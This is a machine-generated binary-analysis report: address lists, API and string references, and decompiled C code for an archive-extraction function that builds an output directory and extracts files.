0x012505e4
0x012505e7
0x00000000
0x012505e7
0x012505c6
0x012505cc
0x012505ce
0x012505ce
0x012505d0
0x012505d0
0x012505d3
0x012505d5
0x00000000
0x00000000
0x012505db
0x012505de
0x012505df
0x012505e2
0x00000000
0x00000000
0x00000000
0x012505e2
0x00000000
0x012505d0
0x012508b7
0x012508bb
0x00000000
0x00000000
0x012508bd
0x012508c3
0x00000000
0x00000000
0x012508c5
0x012508d0
0x012508d3
0x00000000
0x00000000
0x00000000
0x012508d3
0x01250890
0x01250896
0x00000000
0x00000000
0x01250898
0x0125089b
0x0125089e
0x012508a1
0x00000000
0x00000000
0x012508a3
0x012508a7
0x01251027
0x0125102a
0x0125102e
0x01251034
0x01251039
0x0125103c
0x01251040
0x01251042
0x01251044
0x01251047
0x01251047
0x0125104a
0x0125104d
0x01251051
0x01251053
0x01251055
0x01251058
0x01251058
0x0125105b
0x0125105e
0x01251062
0x01251064
0x01251066
0x01251069
0x01251069
0x0125106f
0x01251077
0x0125107f
0x01251095
0x0125109d
0x0125109d
0x012510a0
0x012510a4
0x012510a6
0x012510a8
0x012510ab
0x012510ab
0x012510ae
0x012510b1
0x012510b5
0x012510b7
0x012510b9
0x012510bc
0x012510bc
0x012510c1
0x00000000
0x012510c1
0x00000000
0x012508ad
0x01250879
0x01250707
0x0125066f
0x01250675
0x01250678
0x00000000
0x00000000
0x0125067a
0x01250681
0x01250681
0x01250683
0x01250686
0x01250689
0x00000000
0x00000000
0x00000000
0x01250689
0x0125067c
0x0125067f
0x00000000
0x00000000
0x00000000
0x0125067f
0x0125063a
0x0125063d
0x0125063d
0x01250612
0x01250615
0x00000000
0x00000000
0x00000000
0x01250615
0x01250603
0x01250603
0x01250606
0x00000000
0x00000000
0x00000000
0x0125053b
0x0125053b
0x0125053e
0x01250543
0x01250d10
0x01250d14
0x00000000
0x01250d14
0x01250549
0x0125054f
0x01250555
0x01250558
0x0125055a
0x0125055d
0x01250560
0x01250563
0x01250566
0x01250569
0x01250571
0x01250574
0x00000000
0x00000000
0x00000000
0x01250574
0x0125050d
0x0125050a
0x0125026f
0x01250275
0x01250275
0x01250275
0x01250277
0x01250279
0x0125027b
0x01250281
0x012502c1
0x012502c1
0x012502c4
0x012502c7
0x012502cd
0x012502d0
0x012502d3
0x012502d5
0x012502d5
0x00000000
0x012502d5
0x01250283
0x01250289
0x00000000
0x00000000
0x0125028b
0x0125028e
0x01250293
0x01250296
0x01250299
0x0125029d
0x0125029f
0x012502a4
0x012502aa
0x012502ad
0x012502b0
0x012502b3
0x012502b5
0x012502b7
0x012502ba
0x012502bd
0x00000000
0x012502bd
0x01250271
0x01250273
0x00000000
0x00000000
0x00000000
0x01250273
0x012501c0
0x012501c5
0x012501c7
0x012501ca
0x012501ce
0x012501d4
0x012501d6
0x012501d8
0x012501d9
0x012501df
0x012501e2
0x012501e9
0x012501f2
0x012501f4
0x012501f6
0x00000000
0x00000000
0x012501fc
0x01250206
0x0125020c
0x0125020f
0x01250212
0x01250215
0x01250217
0x0125021c
0x0125021e
0x01250224
0x01250d35
0x01250d38
0x01250d3c
0x01250d3e
0x01250d40
0x01250d43
0x01250d43
0x01250d46
0x01250d49
0x01250d4d
0x01250d4f
0x01250d51
0x01250d54
0x01250d54
0x01250d5a
0x01250d62
0x01250d6a
0x01250d80
0x01250d85
0x01250d8b
0x01250d8d
0x01250d91
0x01250d93
0x01250d96
0x01250d96
0x01250d99
0x01250d9c
0x01250da0
0x01250da2
0x01250da4
0x01250da7
0x01250da7
0x01250daa
0x00000000
0x01250daa
0x0125022a
0x01250230
0x01250232
0x01250255
0x01250258
0x0125025b
0x0125025e
0x01250261
0x01250234
0x01250234
0x0125023a
0x0125023e
0x01250244
0x0125024a
0x0125024a
0x00000000
0x01250321
0x01250321
0x01250324
0x01250e35
0x01250e35
0x01250e38
0x01250e3b
0x01250ed1
0x01250ed1
0x01250ed4
0x01250ed8
0x01250edd
0x01250ee0
0x01250ee4
0x01250ee9
0x01250eec
0x01250ef0
0x01250ef5
0x01250ef8
0x01250efc
0x01250f01
0x01250f04
0x01250f08
0x01250f0d
0x01250f10
0x01250f15
0x01250f17
0x01250f1b
0x01250f1b
0x00000000
0x01250f17
0x01250e41
0x01250e44
0x01250e47
0x01250e49
0x01250e4e
0x01250e55
0x01250e57
0x01250e5d
0x01250e5f
0x01250e61
0x01250e63
0x01250e66
0x01250e6b
0x01250e6d
0x01250e72
0x01250e74
0x01250e7e
0x01250e81
0x01250e8f
0x01250e8f
0x01250e92
0x01250e97
0x01250e9c
0x01250e9f
0x01250ea3
0x01250ea5
0x01250eaa
0x01250ead
0x01250eb2
0x01250eb9
0x01250ec0
0x01250ec6
0x00000000
0x01250ec6
0x01250e83
0x01250e85
0x01250e8a
0x01250e8d
0x00000000
0x00000000
0x00000000
0x01250e8d
0x01250e78
0x00000000
0x01250e78
0x0125032a
0x0125032d
0x01250330
0x012503bd
0x012503bd
0x012503c0
0x012503c2
0x012503c4
0x012503c7
0x012503cd
0x012503d3
0x0125040a
0x0125040a
0x0125040d
0x0125040f
0x01250412
0x01250418
0x00000000
0x00000000
0x0125041e
0x01250423
0x01250425
0x01250427
0x0125042d
0x0125042f
0x01250432
0x01250434
0x01250437
0x01250485
0x01250485
0x01250488
0x01250489
0x0125048c
0x01250492
0x01250494
0x0125049a
0x0125049c
0x0125049e
0x012504a1
0x012504a7
0x012504aa
0x00000000
0x00000000
0x012504ac
0x012504ae
0x00000000
0x00000000
0x00000000
0x00000000
0x012504b0
0x012504b0
0x012504b0
0x012504b3
0x012504b9
0x012504bd
0x00000000
0x00000000
0x012504bf
0x012504c0
0x012504c3
0x012504c9
0x00000000
0x00000000
0x00000000
0x012504c9
0x00000000
0x012504b0
0x01250439
0x0125043c
0x01250442
0x00000000
0x00000000
0x01250448
0x01250459
0x0125045f
0x01250462
0x01250468
0x0125046e
0x01250471
0x01250473
0x00000000
0x00000000
0x01250475
0x0125047f
0x0125047f
0x00000000
0x0125047f
0x01250477
0x0125047d
0x00000000
0x00000000
0x00000000
0x0125047d
0x0125044a
0x0125044d
0x01250453
0x00000000
0x00000000
0x00000000
0x01250453
0x012503d5
0x012503df
0x012503df
0x012503e2
0x012503e8
0x012503e8
0x012503ed
0x012503ef
0x012503f5
0x012503f8
0x012503fe
0x01250404
0x00000000
0x01250404
0x012503d7
0x012503dd
0x00000000
0x00000000
0x00000000
0x012503dd
0x01250336
0x01250339
0x0125033f
0x01250342
0x01250344
0x01250347
0x0125034a
0x0125034d
0x01250350
0x01250356
0x01250359
0x0125035c
0x0125035f
0x01250362
0x0125036c
0x0125036c
0x01250370
0x01250370
0x01250376
0x0125037c
0x01250382
0x01250384
0x01250386
0x00000000
0x00000000
0x01250388
0x0125038f
0x0125038f
0x01250398
0x0125039a
0x0125039d
0x0125039f
0x012503a5
0x01250db5
0x01250db8
0x01250dbc
0x01250dbe
0x01250dc0
0x01250dc3
0x01250dc3
0x01250dc6
0x01250dc9
0x01250dcd
0x01250dcf
0x01250dd1
0x01250dd4
0x01250dd4
0x01250dda
0x01250de2
0x01250dea
0x01250e00
0x01250e05
0x01250e0b
0x01250e0d
0x01250e11
0x01250e13
0x01250e16
0x01250e16
0x01250e19
0x01250e1c
0x01250e20
0x01250e22
0x01250e24
0x01250e27
0x01250e27
0x01250e2a
0x00000000
0x01250e2a
0x012503ab
0x012503ae
0x012503b4
0x012503b7
0x00000000
0x012503b7
0x0125038a
0x0125038d
0x00000000
0x00000000
0x00000000
0x0125038d
0x01250364
0x01250367
0x0125036a
0x00000000
0x00000000
0x00000000
0x0125036a
0x01250121
0x01250121
0x01250123
0x01250129
0x0125012a
0x0125012b
0x0125012f
0x01250131
0x01250133
0x01251171
0x01251171
0x01251174
0x01251178
0x0125117a
0x0125117c
0x0125117f
0x0125117f
0x01251182
0x01251185
0x01251189
0x0125118b
0x0125118d
0x01251190
0x01251190
0x00000000
0x0125118b
0x00000000
0x01250133
0x00000000
0x00000000
0x00000000
0x0124ff95
0x0124ff95
0x0124ff95
0x0124ff9b
0x0124ff9e
0x0124ffa0
0x0124ffa3
0x00000000
0x00000000
0x0124ffa5
0x0124ffa8
0x0124ffad
0x0124ffb0
0x0124ffb3
0x0124ffb6
0x01250012
0x01250013
0x0125001b
0x0125001e
0x00000000
0x0125001e
0x0124ffba
0x0124ffbd
0x0124ffbf
0x0124ffc1
0x0124ffc1
0x0124ffc5
0x0124ffc7
0x0124ffca
0x0125000a
0x0125000a
0x0125000d
0x00000000
0x00000000
0x0125000f
0x00000000
0x0124ffcc
0x0124ffcc
0x0124ffcc
0x0124ffcf
0x0124ffd2
0x0124ffd6
0x0124ffde
0x0124ffe0
0x0124ffe3
0x0124ffec
0x0124ffef
0x0124fff5
0x0124fff7
0x0124fff7
0x0124fff9
0x0124fffb
0x01250002
0x0124ffd8
0x0124ffd8
0x0124ffd8
0x01250004
0x01250005
0x01250005
0x00000000
0x0124ffcc
0x01250022
0x01250022
0x01250025
0x01250026
0x0125002c
0x0125002c
0x00000000
0x0124ff95
0x0124ff36
0x0124ff4c
0x00000000
0x00000000
0x00000000
0x00000000
0x0124fea0
0x0124fea0
0x0124fea3
0x0124feae
0x0124feb1
0x0124feb9
0x0124febc
0x0124febf
0x0124fec2
0x0124fec5
0x0124fec7
0x00000000
0x00000000
0x00000000
0x00000000
0x0124fec9
0x0124fec9
0x0124feca
0x0124fed0
0x0124fed5
0x0124fedb
0x0124fee1
0x0124fee1
0x0124fee6
0x0124fee6
0x0124fee9
0x0124feea
0x0124feec
0x0124feec
0x00000000
0x0124f95e
0x0124f95e
0x0124f961
0x0124f967
0x0124f96a
0x0124f96a
0x0124f96d
0x0124f970
0x0124f973
0x0124f976
0x0124f97a
0x0124f980
0x0124f986
0x0124f989
0x0124f98b
0x00000000
0x00000000
0x0124f98d
0x0124f98f
0x0124f998
0x0124f99b
0x0124f99d
0x0124f9a3
0x0124fc3e
0x0124fc43
0x0124fc47
0x0124fc4a
0x0124fc4e
0x0124fc50
0x0124fc53
0x0124fc53
0x0124fc56
0x0124fc59
0x0124fc5d
0x0124fc5f
0x0124fc61
0x0124fc64
0x0124fc64
0x0124fc67
0x0124f5f0
0x0124f61c
0x01250f8f
0x01250f8f
0x0125139f
0x012513a4
0x012513ad
0x012513ad
0x0124f9a9
0x0124f9a9
0x0124f9af
0x0124f9b3
0x0124f9b5
0x0124f9b8
0x0124f9ba
0x0124f9c0
0x0124fc7d
0x0124fc82
0x0124fc86
0x0124fc89
0x0124fc8d
0x0124fc8f
0x0124fc92
0x0124fc92
0x0124fc95
0x0124fc98
0x0124fc9c
0x0124fc9e
0x0124fca0
0x0124fca3
0x0124fca3
0x0124fca6
0x00000000
0x0124fca6
0x0124f9c6
0x0124f9c9
0x0124f9cc
0x0124f9d0
0x0124f9d1
0x0124f9d3
0x0124f9d4
0x0124f9d7
0x0124f9d9
0x0124f9de
0x0124f9e0
0x0124f9e2
0x0124fcb1
0x0124fcb1
0x0124fcb4
0x0124fcb8
0x0124fcba
0x0124fcbc
0x0124fcbf
0x0124fcbf
0x0124fccd
0x0124fcd2
0x0124fcd6
0x0124fcd9
0x0124fcdd
0x0124fcdf
0x0124fce2
0x0124fce2
0x0124fce5
0x0124fce8
0x0124f548
0x0124f54d
0x0124f54d
0x0124f550
0x00000000
0x0124f550
0x0124f9e8
0x0124f9eb
0x0124f9ed
0x0124f9fb
0x0124f9fe
0x0124fa01
0x0124fa07
0x0124fa10
0x0124fa1a
0x0124fa1d
0x0124fa22
0x0124fa27
0x0124fa2a
0x0124fa2d
0x0124fa40
0x0124fa43
0x0124fcf1
0x0124fcf4
0x0124fcf8
0x0124fcfa
0x0124fcfc
0x0124fcff
0x0124fcff
0x0124fd0d
0x0124fd12
0x0124fd16
0x0124fd19
0x0124fd1d
0x0124fd1f
0x0124fd22
0x0124fd22
0x0124fd25
0x0124fd28
0x0124fd2c
0x0124fd2e
0x0124fd30
0x0124fd33
0x0124fd33
0x0124fd36
0x00000000
0x0124fd36
0x0124fa49
0x0124fa4a
0x0124fa4b
0x0124fa4c
0x0124fa4e
0x0124fa51
0x0124fa56
0x0124fa58
0x0124fa5e
0x0124fd3e
0x0124fd41
0x0124fd45
0x0124fd47
0x0124fd49
0x0124fd4c
0x0124fd4c
0x0124fd5a
0x0124fd5f
0x0124fd63
0x0124fd66
0x0124fd6a
0x0124fd6c
0x0124fd6f
0x0124fd6f
0x0124fd72
0x0124fd75
0x0124fd79
0x0124fd7b
0x0124fd7d
0x0124fd80
0x0124fd80
0x0124fd83
0x00000000
0x0124fd83
0x0124fa64
0x0124fa6a
0x0124fa7e
0x0124fa7e
0x0124fa84
0x0124fa89
0x0124fa8d
0x0124fa93
0x0124fa99
0x0124fa9f
0x0124faa5
0x0124faab
0x0124fab1
0x0124fab7
0x0124fabd
0x0124fac3
0x0124fac5
0x0124fac5
0x0124facc
0x0124face
0x0124faee
0x0124faee
0x0124faf1
0x0124fb93
0x0124fb93
0x0124fb96
0x0124fb99
0x0124fb9b
0x0124fba5
0x0124fba5
0x0124fbab
0x0124fbd2
0x0124fbd2
0x0124fbd8
0x0124fbdb
0x0124fbe1
0x0124fbe7
0x0124fbe9
0x0124fbeb
0x0124fe00
0x0124fe06
0x0124fe0b
0x0124fe0e
0x0124fe12
0x0124fe14
0x0124fe16
0x0124fe19
0x0124fe19
0x0124fe27
0x0124fe2c
0x0124fe30
0x0124fe33
0x0124fe37
0x0124fe39
0x0124fe3c
0x0124fe3c
0x0124fe3f
0x0124fe42
0x0124fe46
0x0124fe48
0x0124fe4a
0x0124fe4d
0x0124fe4d
0x0124fe50
0x00000000
0x0124fe50
0x0124fbf1
0x0124fbfb
0x0124fc00
0x0124fc00
0x0124fc06
0x00000000
0x0124fc06
0x0124fbad
0x0124fbb3
0x00000000
0x00000000
0x0124fbb5
0x0124fbbb
0x0124fbc1
0x0124fbc4
0x00000000
0x00000000
0x0124fbc6
0x00000000
0x00000000
0x0124fbc8
0x0124fbce
0x0124fbd0
0x00000000
0x00000000
0x00000000
0x0124fbd0
0x0124faf7
0x0124fafa
0x0124fafd
0x0124fb00
0x0124fb02
0x0124fb05
0x0124fb0c
0x0124fb0e
0x0124fb15
0x0124fb18
0x0124fb1b
0x0124fb1d
0x0124fb1d
0x0124fb10
0x0124fb10
0x0124fb10
0x0124fb07
0x0124fb07
0x0124fb07
0x0124fb20
0x0124fb23
0x0124fb26
0x0124fd9e
0x0124fd9e
0x0124fda1
0x0124fda6
0x0124fdae
0x0124fdb0
0x0124fdb5
0x0124fdbb
0x0124fdc0
0x0124fdc3
0x0124fdc7
0x0124fdc9
0x0124fdcb
0x0124fdce
0x0124fdce
0x0124fddc
0x0124fde1
0x0124fde5
0x0124fde8
0x0124fdec
0x0124fdee
0x0124fdf1
0x0124fdf1
0x0124fdf4
0x0124fdf7
0x0124f5e6
0x0124f5e8
0x0124f5ea
0x0124f5ed
0x0124f5ed
0x00000000
0x0124f5e8
0x0124fb2c
0x0124fb2f
0x0124fb68
0x0124fb68
0x0124fb6b
0x0124fb71
0x0124fb73
0x0124fb76
0x0124fb78
0x0124fb7e
0x0124fb83
0x0124fb85
0x0124fb87
0x0124fb87
0x0124fb85
0x0124fb8a
0x0124fb8d
0x00000000
0x00000000
0x00000000
0x00000000
0x0124fb8d
0x0124fb31
0x0124fb37
0x0124fb3d
0x0124fb43
0x0124fb4e
0x0124fb50
0x0124fb55
0x0124fb57
0x0124fb59
0x0124fd8e
0x0124fd94
0x00000000
0x0124fd94
0x0124fb5f
0x0124fb62
0x00000000
0x00000000
0x00000000
0x0124fb62
0x0124fad0
0x0124fad6
0x0124fad6
0x0124fadc
0x0124fae2
0x0124fae8
0x00000000
0x0124fae8
0x0124fad2
0x0124fad4
0x00000000
0x00000000
0x00000000
0x0124fad4
0x0124fa6c
0x00000000
0x00000000
0x0124fa72
0x0124fa78
0x00000000
0x00000000
0x00000000
0x0124fa2f
0x0124fa2f
0x0124fa32
0x0124fa35
0x0124fa37
0x0124fc0b
0x0124fc0b
0x0124fc0e
0x0124fc12
0x0124fc14
0x0124fc16
0x0124fc19
0x0124fc19
0x00000000
0x0124fc14
0x0124f9ef
0x0124f9ef
0x0124fc1c
0x0124fc1c
0x0124fc1f
0x0124fc22
0x0124fc25
0x00000000
0x00000000
0x0124fc2b
0x00000000
0x0124fc2b
0x0124f9ed
0x0124f96a
0x0124f82d
0x00000000
0x0124f82d
0x0124f82d
0x0124f830
0x0124f837
0x0124f83a
0x0124f83d
0x0124f840
0x0124f845
0x0124f847
0x0124f851
0x0124f854
0x0124f856
0x0124f87f
0x0124f881
0x0124f886
0x0124f888
0x0124f8b0
0x0124f8b0
0x0124f8b4
0x0124f8b4
0x0124f8b6
0x0124f921
0x0124f921
0x0124f924
0x0124f927
0x0124f92a
0x0124f92a
0x00000000
0x0124f924
0x0124f8b8
0x0124f8bb
0x0124f8bd
0x00000000
0x00000000
0x0124f8bf
0x0124f8c2
0x0124f90d
0x0124f90d
0x0124f910
0x0124f913
0x00000000
0x00000000
0x0124f915
0x0124f917
0x0124f91a
0x00000000
0x00000000
0x00000000
0x00000000
0x0124f8c4
0x0124f8c4
0x0124f8c4
0x0124f8c7
0x0124f8ca
0x0124f8cd
0x0124f8d0
0x0124f8d3
0x0124f8d6
0x0124f8d9
0x0124f8e6
0x0124f8e8
0x0124f8e9
0x0124f8ee
0x0124f8ef
0x0124f8f0
0x0124f8f5
0x0124f8f8
0x0124f8fa
0x00000000
0x00000000
0x0124f8db
0x0124f8db
0x0124f8de
0x0124f8e0
0x0124f8e0
0x0124f8de
0x0124f8fc
0x0124f8ff
0x0124f902
0x0124f902
0x0124f907
0x00000000
0x0124f907
0x0124f88a
0x0124f88d
0x00000000
0x00000000
0x0124f88f
0x0124f891
0x0124f893
0x0124f896
0x0124f899
0x00000000
0x00000000
0x0124f89b
0x0124f89d
0x0124f8a0
0x0124f8a3
0x00000000
0x00000000
0x0124f8a5
0x0124f8a8
0x0124f8ab
0x0124f8ae
0x00000000
0x00000000
0x00000000
0x0124f8ae
0x0124f85e
0x0124f860
0x0124f862
0x00000000
0x00000000
0x0124f868
0x0124f86b
0x00000000
0x00000000
0x0124f871
0x0124f874
0x00000000
0x0124f87a
0x00000000
0x0124f87a
0x0124f849
0x0124f849
0x0124f849
0x0124f92f
0x0124f92f
0x0124f932
0x0124f935
0x0124f93b
0x0124f80f
0x0124f80f
0x0124f815
0x0124f818
0x0124f81b
0x0124f81e
0x0124f824
0x0124f827
0x00000000
0x00000000
0x00000000
0x0124f941
0x0124f941
0x0124f944
0x0124f949
0x0124f94d
0x0124f94d
0x00000000
0x0124f944
0x0124f93b

APIs

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

memset.MSVCRT ref: 0124FF10
memset.MSVCRT ref: 0124FF23

Strings

Split, xrefs: 0124F830

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memset$free
String ID: Split
API String ID: 1508699874-1882502421
Opcode ID: daf761ea8e2bf37bb940bc1c3a2c5c9816f4205a1244bc0d2b052d03bae99802
Instruction ID: 17121e0b69ef92fecec0bf918d93f6ea5dc1c9a9ccbad06074d4b8b2ad74b249
Opcode Fuzzy Hash: daf761ea8e2bf37bb940bc1c3a2c5c9816f4205a1244bc0d2b052d03bae99802
Instruction Fuzzy Hash: 4C426E70E1025ADFDF29DFACC980AADBBB1BF89304F2484A9D549A7251C7319D85CF21

Uniqueness

Uniqueness Score: -1.00%

Function 012498A7 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 373
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E012498A7(signed int __ecx, intOrPtr* __edx, void* __eflags) {
				void* __ebx;
				void* __esi;
				intOrPtr* _t175;
				void* _t183;
				void* _t184;
				void* _t186;
				intOrPtr* _t202;
				signed int _t204;
				signed int _t206;
				signed int _t217;
				intOrPtr* _t227;
				signed int _t233;
				signed int _t235;
				signed int _t236;
				signed int _t238;
				intOrPtr _t242;
				intOrPtr* _t256;
				intOrPtr _t301;
				intOrPtr* _t318;
				signed int _t320;
				void* _t322;
				intOrPtr _t323;
				intOrPtr* _t326;
				signed int _t327;
				intOrPtr* _t329;
				intOrPtr* _t330;
				void* _t331;
				void* _t337;
				void* _t340;

				_t337 = __eflags;
				E012639E0(E01265B7B, _t331);
				_t318 = __edx;
				 *(_t331 - 0x18) = __ecx;
				_t175 =  *((intOrPtr*)( *__edx +  *(__edx + 4) * 4 - 4));
				_t256 =  *((intOrPtr*)(_t331 + 0x28));
				 *((intOrPtr*)(_t331 - 0x14)) = _t175;
				 *_t256 = 0;
				 *((intOrPtr*)(_t256 + 4)) = 0;
				 *((intOrPtr*)(_t331 - 0x40)) = 0;
				 *((intOrPtr*)(_t331 - 0x1c)) =  *_t175;
				 *(_t331 - 0x3c) = 0;
				 *((intOrPtr*)(_t331 - 0x38)) = 0;
				 *((intOrPtr*)(_t331 - 4)) = 0;
				E0125801B(_t331 - 0x74);
				_t326 =  *((intOrPtr*)(_t331 + 0x14));
				 *((char*)(_t331 - 4)) = 1;
				_t18 = _t326 + 0xc; // 0xd
				E012329BC(_t331 - 0x34, _t337, _t18);
				 *((char*)(_t331 - 4)) = 2;
				E012329BC(_t331 - 0x68, _t337,  *((intOrPtr*)(_t331 - 0x14)) + 0x88);
				 *((char*)(_t331 - 4)) = 3;
				if( *((intOrPtr*)(_t318 + 4)) > 1) {
					_t323 =  *((intOrPtr*)( *_t318));
					if(E012320D0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t331 - 0x18) + 0x28)) +  *(_t323 + 0x94) * 4)) + 0xc)), "pe") != 0) {
						_t340 = _t323 + 0x88;
						E01232A8C(_t331 - 0x68, _t323 + 0x88);
					}
				}
				_t308 = _t331 - 0x68;
				_t183 = E01249F3E(_t331 - 0x58, _t331 - 0x68, _t340);
				 *((char*)(_t331 - 4)) = 4;
				_t184 = E0123296F(_t331 - 0x4c, "*");
				 *((char*)(_t331 - 4)) = 5;
				_t186 = E01231ABD(E01232F43(_t331 - 0x34, _t184, _t183),  *((intOrPtr*)(_t331 - 0x4c)));
				 *((char*)(_t331 - 4)) = 3;
				E01231ABD(_t186,  *((intOrPtr*)(_t331 - 0x58)));
				 *(_t331 + 0x17) = 0;
				E012328E9(_t331 - 0x28);
				 *((char*)(_t331 - 4)) = 6;
				E012329BC(_t331 - 0x80, _t340, _t331 - 0x34);
				 *((char*)(_t331 - 4)) = 7;
				if( *_t326 != 0 &&  *((intOrPtr*)(_t326 + 4)) != 3) {
					E012328E9(_t331 - 0x4c);
					 *((char*)(_t331 - 4)) = 8;
					_t242 = E0123381F(_t331 - 0x34, _t331 - 0x4c, _t331 - 0x28);
					_t308 =  *(_t331 - 0x24);
					if(_t308 != 0) {
						_t242 =  *((intOrPtr*)(_t331 - 0x28));
						_t301 =  *((intOrPtr*)(_t242 + _t308 * 2 - 2));
						if(_t301 == 0x5c || _t301 == 0x2f) {
							_t308 = _t308 - 1;
							 *(_t331 - 0x24) = _t308;
							 *((short*)(_t242 + _t308 * 2)) = 0;
						}
						if( *(_t331 - 0x24) != 0) {
							_t242 = E01232A8C(_t331 - 0x80, _t331 - 0x4c);
							 *(_t331 + 0x17) = 1;
						}
					}
					 *((char*)(_t331 - 4)) = 7;
					E01231ABD(_t242,  *((intOrPtr*)(_t331 - 0x4c)));
				}
				 *(_t331 - 0xd) = E01233A7D(0,  *(_t331 + 0x10), _t308, _t326);
				if( *(_t326 + 0x24) != 0) {
					L41:
					__eflags =  *(_t331 + 0x17);
					if( *(_t331 + 0x17) != 0) {
						_push(_t331 - 0x28);
						E0123150C(_t331 - 0x74);
					}
					__eflags =  *(_t331 - 0x30);
					if(__eflags != 0) {
						__eflags = E0123509E( *((intOrPtr*)(_t331 - 0x34)), __eflags);
						if(__eflags != 0) {
							goto L45;
						}
						_t327 = GetLastError();
						__eflags = _t327;
						if(_t327 == 0) {
							_t327 = 0x80004005;
						}
						E01232B8A( *((intOrPtr*)(_t331 + 0x24)), "Can not create output directory: ");
						_t206 = E01232C71( *((intOrPtr*)(_t331 + 0x24)), __eflags, _t331 - 0x34);
						goto L68;
					} else {
						E01232B8A(_t331 - 0x34, ".\\");
						L45:
						_t320 =  *(_t331 + 0x20);
						asm("sbb eax, eax");
						_t124 = _t326 + 0x18; // 0x19
						E0123DD71(_t320, __eflags, _t124,  ~( *(_t326 + 0x24)) &  *(_t331 + 0x10),  *((intOrPtr*)(_t331 - 0x14)),  *((intOrPtr*)(_t331 + 0x1c)),  *((intOrPtr*)(_t326 + 0x25)),  *(_t326 + 0x27), _t331 - 0x34, _t331 - 0x74, 0,  *((intOrPtr*)(_t331 + 8)),  *((intOrPtr*)(_t331 + 0xc)));
						__eflags =  *(_t326 + 0x24);
						if( *(_t326 + 0x24) != 0) {
							L49:
							__eflags =  *(_t326 + 0x27);
							if( *(_t326 + 0x27) == 0) {
								L56:
								__eflags = 0;
								L57:
								 *(_t331 + 0x10) = _t320;
								__eflags =  *(_t326 + 0x24);
								 *((char*)(_t331 - 4)) = 0xa;
								if( *(_t326 + 0x24) == 0) {
									_t202 =  *((intOrPtr*)(_t331 - 0x1c));
									 *(_t331 + 0x18) =  *((intOrPtr*)( *_t202 + 0x1c))(_t202,  *((intOrPtr*)(_t331 - 0x40)),  *(_t331 - 0x3c), 0, _t320);
								} else {
									_t329 =  *((intOrPtr*)(_t331 - 0x1c));
									 *(_t331 + 0x18) =  *((intOrPtr*)( *_t329 + 0x1c))(_t329, 0, 0xffffffff, 0, _t320);
									 *((short*)(_t331 - 0x5c)) = 0;
									 *((short*)(_t331 - 0x5a)) = 0;
									 *((intOrPtr*)(_t331 - 0x54)) = 0;
									 *((char*)(_t331 - 4)) = 0xb;
									_t217 =  *((intOrPtr*)( *_t329 + 0x20))(_t329, 0x2c, _t331 - 0x5c);
									__eflags = _t217;
									if(_t217 == 0) {
										E0123D87D(_t331 - 0x5c,  *((intOrPtr*)(_t331 + 0x28)));
									}
									 *((char*)(_t331 - 4)) = 0xa;
									E01238173(_t331 - 0x5c);
								}
								_t204 = 0;
								__eflags = _t320;
								if(__eflags != 0) {
									_t204 = E0124038B(_t320, __eflags);
									 *(_t331 + 0x10) = 0;
								}
								__eflags =  *(_t331 + 0x18);
								if( *(_t331 + 0x18) == 0) {
									 *(_t331 + 0x18) = _t204;
								}
								_t206 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x1c)))) + 0x30))( *(_t331 + 0x18));
								_t272 =  *(_t331 + 0x10);
								_t327 = _t206;
								__eflags =  *(_t331 + 0x10);
								 *((char*)(_t331 - 4)) = 7;
								if(__eflags != 0) {
									_t206 = E0124038B(_t272, __eflags);
								}
								goto L68;
							}
							L50:
							__eflags =  *(_t331 + 0x18);
							if( *(_t331 + 0x18) != 0) {
								goto L56;
							}
							_push(1);
							_pop(0);
							goto L57;
						}
						__eflags =  *(_t326 + 0x27);
						if( *(_t326 + 0x27) != 0) {
							goto L50;
						}
						__eflags =  *(_t326 + 0x1c);
						if(__eflags == 0) {
							goto L49;
						}
						_t206 = E0123D60E(_t320, __eflags, _t331 - 0x40);
						__eflags = _t206;
						if(_t206 != 0) {
							goto L14;
						}
						goto L49;
					}
				} else {
					_t227 =  *((intOrPtr*)(_t331 - 0x1c));
					_t206 =  *((intOrPtr*)( *_t227 + 0x14))(_t227, _t331 - 0x18);
					if(_t206 == 0) {
						E0123DA55(_t331 - 0xc0, __eflags);
						_t322 = 0;
						__eflags =  *(_t331 - 0x18);
						 *((char*)(_t331 - 4)) = 9;
						if( *(_t331 - 0x18) <= 0) {
							L37:
							__eflags =  *(_t331 - 0x3c);
							if( *(_t331 - 0x3c) != 0) {
								 *((char*)(_t331 - 4)) = 7;
								E0123DCFB(_t331 - 0xc0);
								goto L41;
							}
							_t330 =  *((intOrPtr*)(_t331 + 0x1c));
							 *((intOrPtr*)( *_t330 + 0x2c))();
							_t233 =  *((intOrPtr*)( *_t330 + 0x30))(0);
							L39:
							_t327 = _t233;
							 *((char*)(_t331 - 4)) = 7;
							_t206 = E0123DCFB(_t331 - 0xc0);
							L68:
							E01231ABD(E01231ABD(E01231ABD(E01231ABD(_t206,  *((intOrPtr*)(_t331 - 0x80))),  *((intOrPtr*)(_t331 - 0x28))),  *(_t331 - 0x68)),  *((intOrPtr*)(_t331 - 0x34)));
							 *((char*)(_t331 - 4)) = 0;
							E01231ABD(E01248B2E(0, _t331 - 0x74),  *((intOrPtr*)(_t331 - 0x40)));
							 *[fs:0x0] =  *((intOrPtr*)(_t331 - 0xc));
							return _t327;
						} else {
							goto L16;
						}
						do {
							L16:
							__eflags =  *(_t331 + 0x17);
							if(__eflags != 0) {
								L21:
								_push(_t331 - 0xc0);
								_push(_t322);
								_t233 = E0124DEAB( *((intOrPtr*)(_t331 - 0x14)), __eflags);
								L22:
								__eflags = _t233;
								if(_t233 != 0) {
									goto L39;
								}
								L23:
								__eflags =  *(_t326 + 0x1e);
								if( *(_t326 + 0x1e) != 0) {
									L25:
									__eflags =  *(_t331 + 0x17);
									if( *(_t331 + 0x17) == 0) {
										L33:
